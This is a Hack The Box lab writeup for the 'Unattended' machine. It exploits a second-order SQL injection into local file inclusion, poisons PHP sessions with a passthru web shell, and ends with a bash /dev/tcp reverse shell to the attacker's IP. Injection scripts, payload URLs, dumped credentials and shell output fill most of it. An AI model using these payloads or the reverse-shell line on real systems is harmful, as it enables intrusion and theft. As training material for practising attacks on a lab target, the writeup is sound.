--- search: exclude: true --- # Unattended Writeup ![](img/41.png) ## Introduction : Unattended is a Medium-Hard linux box released back in April 2019. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. [ 10.10.14.47/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended] → ping 10.10.10.126 -c1 PING 10.10.10.126 (10.10.10.126) 56(84) bytes of data. 64 bytes from 10.10.10.126: icmp_seq=1 ttl=63 time=94.7 ms --- 10.10.10.126 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 94.701/94.701/94.701/0.000 ms [ 10.10.14.47/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended] → sudo nmap -vvv -sTU -p- 10.10.10.126 --max-retries 0 -Pn --min-rate=1000 | grep Discovered [sudo] password for nothing: Discovered open port 80/tcp on 10.10.10.126 Discovered open port 443/tcp on 10.10.10.126 [ 10.10.14.47/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended] → nmap -sCV -p80,443 10.10.10.126 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-18 13:59 BST Nmap scan report for 10.10.10.126 Host is up (0.12s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx 1.10.3 |_http-server-header: nginx/1.10.3 |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http nginx 1.10.3 |_http-server-header: nginx/1.10.3 |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT | Not valid before: 2018-12-19T09:43:58 |_Not valid after: 2021-09-13T09:43:58 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.79 seconds [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/.oh-my-zsh/themes] → whoami root [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/.oh-my-zsh/themes] → echo '10.10.10.126 www.nestedflanders.htb' >> /etc/hosts [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/.oh-my-zsh/themes] → cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 nowhere # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 10.10.10.126 www.nestedflanders.htb ## **Part 2 : Getting User Access** Our nmap scan picked up that this is a web based box, so let's investiate the following : http://10.10.10.126/ http://www.nestedflanders.htb/ https://www.nestedflanders.htb/ ` ![](prg/41_001.png) So here we are greeted by a default page on https://www.nestedflanders.htb , not too interesting so we enumerate it further using dirsearch: [ 10.10.14.8/23 ] [ /dev/pts/4 ] [~/Desktop/Tools] → dirsearch -u https://www.nestedflanders.htb/ -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,php,html,xml -x 503 git clone https://github.com/maurosoria/dirsearch.git dirsearch -u -e -t 50 -x 500 _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: txt, php, html, xml | HTTP method: get | Threads: 50 | Wordlist size: 220521 Error Log: /home/nothing/Desktop/Tools/dirsearch/logs/errors-20-04-18_14-18-55.log Target: https://www.nestedflanders.htb/ This is a https service so as you can expect, it is painfully slow to enumerate, but once it is finished we find the /dev directory: ![](prg/41_002.png) Looking at index.php we see that we have pages that are being included with the "id" parameter: ![](prg/41_003.png) At first glance there is nothing that seems dynamic other than the id parameter that includes the pages, So we run sqlmap on the page to see if we can find a SQL injection in the id parameter: [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 -p id ___ __H__ ___ ___[.]_____ ___ ___ {1.4.3#stable} |_ -| . ['] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 20:56:32 /2020-04-19/ [...] GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 298 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=587' AND 6741=6741 AND 'uqwa'='uqwa Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=587' AND (SELECT 1303 FROM (SELECT(SLEEP(5)))AQHN) AND 'Wunt'='Wunt --- [20:59:04] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [20:59:04] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb' [*] ending @ 20:59:04 /2020-04-19/ So it looks like the id parameter is injectable, so we check the current database using the appropriate flag: ![](prg/41_004.png) [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 --current-db ___ __H__ ___ ___[(]_____ ___ ___ {1.4.3#stable} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 21:00:41 /2020-04-19/ [21:00:42] [INFO] resuming back-end DBMS 'mysql' [21:00:42] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=cbr1emf27pb...otrihaacu7'). Do you want to use those [Y/n] y sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=587' AND 6741=6741 AND 'uqwa'='uqwa Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=587' AND (SELECT 1303 FROM (SELECT(SLEEP(5)))AQHN) AND 'Wunt'='Wunt --- [21:00:44] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [21:00:44] [INFO] fetching current database [21:00:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [21:00:44] [INFO] retrieved: neddy current database: 'neddy' [21:00:55] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb' [*] ending @ 21:00:55 /2020-04-19/ Now that we know that there is a database named "neddy" we can enumerate it's tables: [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 --tables -D neddy Which is atrociously slow so we use additional threads to speed it up : [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 --tables -D neddy --threads 10 ___ __H__ ___ ___[(]_____ ___ ___ {1.4.3#stable} |_ -| . [(] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 21:02:26 /2020-04-19/ [...] 21:03:29] [INFO] retrieved: orders [21:03:29] [INFO] retrieving the length of query output [21:03:29] [INFO] retrieved: 8 [21:03:37] [INFO] retrieved: payments [21:03:37] [INFO] retrieving the length of query output [21:03:37] [INFO] retrieved: 12 [21:03:50] [INFO] retrieved: productlines [21:03:50] [INFO] retrieving the length of query output [21:03:50] [INFO] retrieved: 8 [21:03:58] [INFO] retrieved: products Database: neddy [11 tables] +--------------+ | config | | customers | | employees | | filepath | | idname | | offices | | orderdetails | | orders | | payments | | productlines | | products | +--------------+ [21:03:58] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb' [*] ending @ 21:03:58 /2020-04-19/ So here we have 11 tables, some of which contain an absurd number of rows which take forever to dump everything. Increasing the threads to run this command is vital. So the idea here is to focus on the config , filepath and idname tables which contains most of the elements we need to continue: [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 -T config,filepath,idname -D neddy --technique B --dump --threads 10 ___ __H__ ___ ___[)]_____ ___ ___ {1.4.3#stable} |_ -| . ['] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 21:06:33 /2020-04-19/ [21:06:33] [INFO] resuming back-end DBMS 'mysql' [21:06:33] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=o24egt1sggh...9696egals7'). Do you want to use those [Y/n] y sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=587' AND 6741=6741 AND 'uqwa'='uqwa --- [21:06:34] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [21:06:34] [INFO] fetching columns for table 'config' in database 'neddy' [...] Database: neddy Table: config [52 entries] +------+-------------------------+--------------------------------------------------------------------------+ | id | option_name | option_value | +------+-------------------------+--------------------------------------------------------------------------+ | 54 | offline | 0 | | 55 | offline_message | Site offline, please come back later | | 56 | display_offline_message | 0 | | 57 | offline_image | | | 58 | sitename | NestedFlanders | | 59 | editor | tinymce | | 60 | captcha | 0 | | 61 | list_limit | 20 | | 62 | access | 1 | | 63 | debug | 0 | | 64 | debug_lang | 0 | | 65 | dbtype | mysqli | | 66 | host | localhost | | 67 | live_site | | | 68 | gzip | 0 | | 69 | error_reporting | default | | 70 | ftp_host | 127.0.0.1 | | 71 | ftp_port | 21 | | 72 | ftp_user | flanders | | 73 | ftp_pass | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 | | 74 | ftp_root | / | | 75 | ftp_enable | 1 | | 76 | offset | UTC | | 77 | mailonline | 1 | | 78 | mailer | mail | | 79 | mailfrom | nested@nestedflanders.htb | | 80 | fromname | Neddy | | 81 | sendmail | /usr/sbin/sendmail | | 82 | smtpauth | 0 | | 83 | smtpuser | | | 84 | smtppass | | | 85 | smtppass | | | 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; | | 87 | smtphost | localhost | | 88 | smtpsecure | none | | 89 | smtpport | 25 | | 90 | caching | 0 | | 91 | cache_handler | file | | 92 | cachetime | 15 | | 93 | MetaDesc | | | 94 | MetaKeys | | | 95 | MetaTitle | 1 | | 96 | MetaAuthor | 1 | | 97 | MetaVersion | 0 | | 98 | robots | | | 99 | sef | 1 | | 100 | sef_rewrite | 0 | | 101 | sef_suffix | 0 | | 102 | unicodeslugs | 0 | | 103 | feed_limit | 10 | | 104 | lifetime | 1 | | 105 | session_handler | file | +------+-------------------------+--------------------------------------------------------------------------+ Database: neddy Table: filepath [3 entries] +---------+--------------------------------------+ | name | path | +---------+--------------------------------------+ | about | 47c1ba4f7b1edf28ea0e2bb250717093.php | | contact | 0f710bba8d16303a415266af8bb52fcb.php | | main | 787c75233b93aa5e45c3f85d130bfbe7.php | +---------+--------------------------------------+ Database: neddy Table: idname [6 entries] +------+-------------+----------+ | id | name | disabled | +------+-------------+----------+ | 1 | main.php | 1 | | 2 | about.php | 1 | | 3 | contact.php | 1 | | 25 | main | 0 | | 465 | about | 0 | | 587 | contact | 0 | +------+-------------+----------+ [21:29:53] [INFO] table 'neddy.idname' dumped to CSV file '/home/nothing/.sqlmap/output/www.nestedflanders.htb/dump/neddy/idname.csv' [21:29:53] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb' [*] ending @ 21:29:53 /2020-04-19/ As you can see it took more than 20 minutes. Sometimes you need a bit of patience, So in the "config" table we found potential ftp credentials, we also found "checkrelease" which hints us towards a perl script in /home/guly. Obviously we now know the username guly on this box. The table "idname" contains the mapping between ID and the GET request. The table "filepath" doesn't seem to contain anything interesting. At this point i got stuck and decided to go for [snowscan's]() solution which consists in making a python script in order to perform an injection on the ID name mapping SQL query, to then try to do the same on the filename mapping SQL query. Which results in achieving a [Second order SQL Injection.](https://haiderm.com/second-order-sql-injection-explained-with-example/) The goal of which is to end up creating a Local File Inclusion (LFI) I have adapted snowscan's code to work under python3, working with beautifulsoup4, along with the appropriate print() statements. import readline import requests from bs4 import BeautifulSoup proxies = { "http":"http://127.0.0.1:8080", "https:":"https://127.0.0.1:8080" } while True: cmd=input("> ") payload=cmd payload=payload+"-- -" print(payload) r=requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False) soup= BeautifulSoup(r.text, 'html.parser') print(soup.body) The first thing is to check if we can display the contact page by returning contact instead of main against the "idname" table. [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] → python3 snowscan_rocks.py > 25' union select all 'contact' 25' union select all 'contact'-- - /usr/lib/python3/dist-packages/urllib3/connectionpool.py:999: InsecureRequestWarning: Unverified HTTPS request is being made to host 'www.nestedflanders.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings warnings.warn( <****body> <****div class="container"> <****h1>Ne(ste)d Flanders' Portfolio <****/h1> <****/div> <****div class="container"> <****div center="" class="row"> <****div class="col-md-2"> <****a href="index.php?id=25" target="maifreim">main <****/a> <****/div> <****div class="col-md-2"> <****a href="index.php?id=465" target="maifreim">about <****/a> <****/div> <****div class="col-md-2"> <****a href="index.php?id=587" target="maifreim">contact <****/a> <****/div> <****/div> <****/div> <****div class="container"> <****div class="row"> <****body class="container"> Hello visitor, thanks for getting in touch with us! Unfortunately our server is under *heavy* attack and we disable almost every dynamic page. Please come back later. <****/body> <****/div> <****/div> <****/body> > So we have been successful in returning the contact page. The second step is to SQL Inject the name field returned instead of the actual name value in order to use the same UNION SELECT injection to return a filename that we choose, hence the intended LFI: import readline import requests from bs4 import BeautifulSoup proxies = { "http":"http://127.0.0.1:8080", "https:":"https://127.0.0.1:8080" } while True: file = input("> ") payload = "25' union select all \"%s\" -- -" % ("invalid' union select all '" + file) r = requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False) soup = BeautifulSoup(r.text, 'html.parser') print(soup.body) [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] → python3 snowscan_rocks_chapter_2.py > /etc/passwd /usr/lib/python3/dist-packages/urllib3/connectionpool.py:999: InsecureRequestWarning: Unverified HTTPS request is being made to host 'www.nestedflanders.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings warnings.warn( # Ne(ste)d Flanders' Portfolio [main](index.php?id=25) [about](index.php?id=465) [contact](index.php?id=587) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/bin/bash backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false messagebus:x:105:109::/var/run/dbus:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin guly:x:1000:1000:guly,,,:/home/guly:/bin/bash mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false And the LFI was successful! we now know which users are on the box. The next step consists in getting Remote Code Execution (RCE) on the box. The hint here was to check the nginx access.log : [...] 10.10.14.69 - - [19/Apr/2020:16:44:33 -0400] "GET /index.php?id=25'%20union%20select%20all%20'contact'--%20- HTTP/1.1" 200 521 "-" "python-requests/2.23.0" 10.10.14.69 - - [19/Apr/2020:16:45:14 -0400] "GET /index.php?id=25'%20union%20select%20all%20'contact'--%20- HTTP/1.1" 200 521 "-" "python-requests/2.23.0" 10.10.14.69 - - [19/Apr/2020:16:46:37 -0400] "GET /index.php?id=25'%20union%20select%20all%20'contact'--%20- HTTP/1.1" 200 521 "-" "python-requests/2.23.0" 10.10.14.69 - - [19/Apr/2020:17:06:50 -0400] "GET /index.php?id=25'%20union%20select%20all%20%22invalid'%20union%20select%20all%20'/etc/passwd%22%20--%20- HTTP/1.1" 200 925 "-" "python-requests/2.23.0" Here we see that the User-Agent header is vulnerable, which potentially allows us to inject php code in the access logs, triggering it by making a request to the log file by using the LFI from the sql injection. So accordingly we modify the python script: #!/usr/bin/python from bs4 import BeautifulSoup import re import readline import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } while True: cmd = input("> ") headers = { "User-Agent": " /var/log/nginx/access.log; %s'); ?>**END**" % cmd} r = requests.get("http://10.10.10.126/", headers=headers) file = "/var/log/nginx/access.log" payload = "25' union select all \"%s\" -- -" % ("invalid' union select all '" + file) r = requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False) soup = BeautifulSoup(r.text, 'html.parser') m = re.search("\*\*BEGIN\*\*(.*)\*\*END\*\*", str(soup.body), flags=re.DOTALL) if m: print(m.group(1)) else: print("No output") Running it with the "id" cmd we get RCE as www-data. Another way of tackling this problem as [Alamot](https://alamot.github.io/unattended_writeup) demonstrated, is to explore the initial SQL injection manually using 'ORDER BY' https://www.nestedflanders.htb/index.php?id=587' ORDER BY 1 --+ https://www.nestedflanders.htb/index.php?id=587' ORDER BY 2 --+ ` ![](prg/41_005.png) These 2 queries bring up 2 different results, one is the default index page, the other is an error. So the next step would be to try to return a name like "contact" using an inner query: ![](prg/41_006.png) Which returned us the "about" page instead of the "contact" page. The outer query should return the path of the php file to be loaded, So by trying the same trick, we have to nest our 2nd SQL Injection : about' UNION SELECT '/etc/passwd' --+ Like this: https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT '/etc/passwd' --+" --+ Which becomes a 2nd order SQL Injection, Which should also become a Local File Inclusion. ![](prg/41_007.png) And the LFI was successful! Now the thing is, if we try to **Include** the php files they will invariably be run and executed, we won't be able to read their source code. So the trick here is, to use a filter conversion to b64encode these php files. That way we are able to read their contents, saving us alot of time. 'php://filter/read=convert.base64-encode/resource=/path/to/file/we/want/to/read/sourcecode' So we use this b64encoding filter in our next request: https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/index.php' --+" -- ` ![](prg/41_008.png) <****?php $servername = "localhost"; $username = "nestedflanders"; $password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e"; $db = "neddy"; $conn = new mysqli($servername, $username, $password, $db); $debug = False; include "6fb17817efb4131ae4ae1acae0f7fd48.php"; function getTplFromID($conn) { global $debug; $valid_ids = array (25,465,587); if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) { $sql = "SELECT name FROM idname where id = '".$_GET['id']."'"; } else { $sql = "SELECT name FROM idname where id = '25'"; } if ($debug) { echo "sqltpl: $sql \n"; } $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $ret = $row['name']; } } else { $ret = 'main'; } if ($debug) { echo "rettpl: $ret \n"; } return $ret; } function getPathFromTpl($conn,$tpl) { global $debug; $sql = "SELECT path from filepath where name = '".$tpl."'"; if ($debug) { echo "sqlpath: $sql \n"; } $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $ret = $row['path']; } } if ($debug) { echo "retpath: $ret \n"; } return $ret; } $tpl = getTplFromID($conn); $inc = getPathFromTpl($conn,$tpl); ?****> # Ne(ste)d Flanders Portfolio <****?php $sql = "SELECT i.id,i.name from idname as i inner join filepath on i.name = filepath.name where disabled = '0' order by i.id"; if ($debug) { echo "sql: $sql \n"; } $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { //if ($debug) { echo "rowid: ".$row['id']." \n"; } // breaks layout echo ' ['.$row['name'].'](index.php?id='.$row\['id'\].') '; } } else { ?****> [main](index.php?id=25) [about](index.php?id=465) [contact](index.php?id=587) <****?php } ?****> <****?php include("$inc"); ?****> <****?php if ($debug) { echo "include $inc; \n"; } ?****> <****?php $conn->close(); ?****> Another way of finding this is by exploiting the nginx misconfiguration present on the box as [ ippsec](https://www.youtube.com/watch?v=2SATzCQY0Zw) points out, you can verify it by going to /dev/ and the misconfiguration is that in the nginx config the trailing slash hasn't been added. Therefore going to /dev../html/index.php gets us to the php page we found earlier, but without interpreting the sourcecode, allowing us to read it: ![](prg/41_011.png) [ 10.10.14.7/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended] → curl -sk https://www.nestedflanders.htb/dev../html/index.php > index.php So from here we have a few interesting things, most importantly the credentials to the database: nestedflanders:1036913cf7d38d4ea4f79b050f171e9fbf3f5e . Now in order to reach the RCE from our current LFI we need to remember the 6fb17817efb4131ae4ae1acae0f7fd48.php file our sqlmap scan found earlier which has also been referenced into the index.php sourcecode, so it is definitely a hint for the next step: https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/6fb17817efb4131ae4ae1acae0f7fd48.php' --+" --+ ` ![](prg/41_009.png) <****?php session_start(); if (isset($_SESSION['user_name'])){ $user_name = $_SESSION['user_name']; } foreach ($_COOKIE as $key => $val) { $_SESSION[$key] = $val; } /* removed everything because of undergoing investigation, please check dev and staging */ Which is obviously also viewable if we use previous method suggested by ippsec, that we could actually get the file thanks to the nginx misconfiguration: ![](prg/41_012.png) And this is where it gets interesting, this code says that every cookie name+value pair is saved inside the PHP session. PHP sessions are stored in temporary files inside a specific folder. This folder is set using session.save_path in the php.ini file "/var/lib/php/sessions". From here we could read the php.ini file to know this location or try out well known paths of php session storage, which in this case was **/var/lib/php/sessions**. Therefore, we can set a cookie with a specific value: <****?php passthru($_REQUEST['cmd'])?****> And this will be stored inside a file at /var/lib/php/sessions/sess_PHPSESSID. And then we just need to include and/or run this file with the second order SQL injection LFI: https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT '/var/lib/php/sessions/sess_d0rosoogt4afnin1qtic4ju612' --+" --+&cmd;=whoami Obviously we need to change the cookie after sess_ to the current cookie, in this case: ![](prg/41_013.png) ![](prg/41_014.png) So with this request, we get the following result: GET /index.php?prometheus=whoami&id;=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_skthtqmi4agio2nrpl9u7vql43'--+-"--+- HTTP/1.1 Host: www.nestedflanders.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: PHPSESSID=skthtqmi4agio2nrpl9u7vql43; NOTHING= Upgrade-Insecure-Requests: 1 ` ![](prg/41_015.png) Which basically tells us that we have been able to inject php code. So since we have code execution we'll get a reverse shell, but on which port, that is a big question mark because this box actually has iptables enabled to prevent any funky traffic on uncommon ports, we can check that by printing out the contents of /etc/iptables/rules.v4: GET /index.php?prometheus=cat+/etc/iptables/rules.v4&id;=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_skthtqmi4agio2nrpl9u7vql43'--+-"--+- HTTP/1.1 Host: www.nestedflanders.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: PHPSESSID=skthtqmi4agio2nrpl9u7vql43; NOTHING= Upgrade-Insecure-Requests: 1 ` ![](prg/41_016.png) So we see that we can communicate with the box only through port 80 and 443. So our reverse shell one liner will be to our local port 443: bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1' Url encode it in burpsuite: bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.7/443+0>%261' Get the following request: GET /index.php?prometheus=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.7/443+0>%261'&id;=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_skthtqmi4agio2nrpl9u7vql43'--+-"--+- HTTP/1.1 Host: www.nestedflanders.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: PHPSESSID=skthtqmi4agio2nrpl9u7vql43; NOTHING= Upgrade-Insecure-Requests: 1 And catch the incoming reverse shell connection: ![](prg/41_017.png) [ 10.10.14.7/23 ] [ /dev/pts/6 ] [~] → sudo nc -lvnp 443 [sudo] password for nothing: listening on [any] 443 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.126] 58662 bash: cannot set terminal process group (579): Inappropriate ioctl for device bash: no job control in this shell www-data@unattended:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@unattended:/var/www/html$ ls ls 0f710bba8d16303a415266af8bb52fcb.php 47c1ba4f7b1edf28ea0e2bb250717093.php 6fb17817efb4131ae4ae1acae0f7fd48.php 787c75233b93aa5e45c3f85d130bfbe7.gif 787c75233b93aa5e45c3f85d130bfbe7.php bootstrap.min.css bootstrap.min.js index.html index.nginx-debian.html index.php jquery.min.js www-data@unattended:/var/www/html$ which python && which python3 which python && which python3 So here we want to spawn our tty shell using python, but python isn't there for us, so we'll spawn it with the script utility: www-data@unattended:/var/www/html$ script -h script -h Usage: script [options] [file] Make a typescript of a terminal session. Options: -a, --append append the output -c, --command <****command> run command rather than interactive shell -e, --return return exit code of the child process -f, --flush run flush after each write --force use output file even when it is a link -q, --quiet be quiet -t, --timing[= <****file>] output timing data to stderr (or to FILE) -V, --version output version information and exit -h, --help display this help and exit For more details see script(1). www-data@unattended:/var/www/html$ script -qc /bin/bash /dev/null script -qc /bin/bash /dev/null So first step here is to enumerate which users are on the box: www-data@unattended:/var/www/html$ cat /etc/passwd cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/bin/bash backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false messagebus:x:105:109::/var/run/dbus:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin guly:x:1000:1000:guly,,,:/home/guly:/bin/bash mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false As we saw earlier, guly is a good candidate, so we could try to privesc to user guly since we probably have his password. But unfortunately it is not, so moving on, $servername = "localhost"; $username = "nestedflanders"; $password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e"; So this is the mysql credentials we found earlier, since sqlmap had a hard time enumerating all the database contents, and we didn't even see the other tables, we can poke around it from inside the box this time. 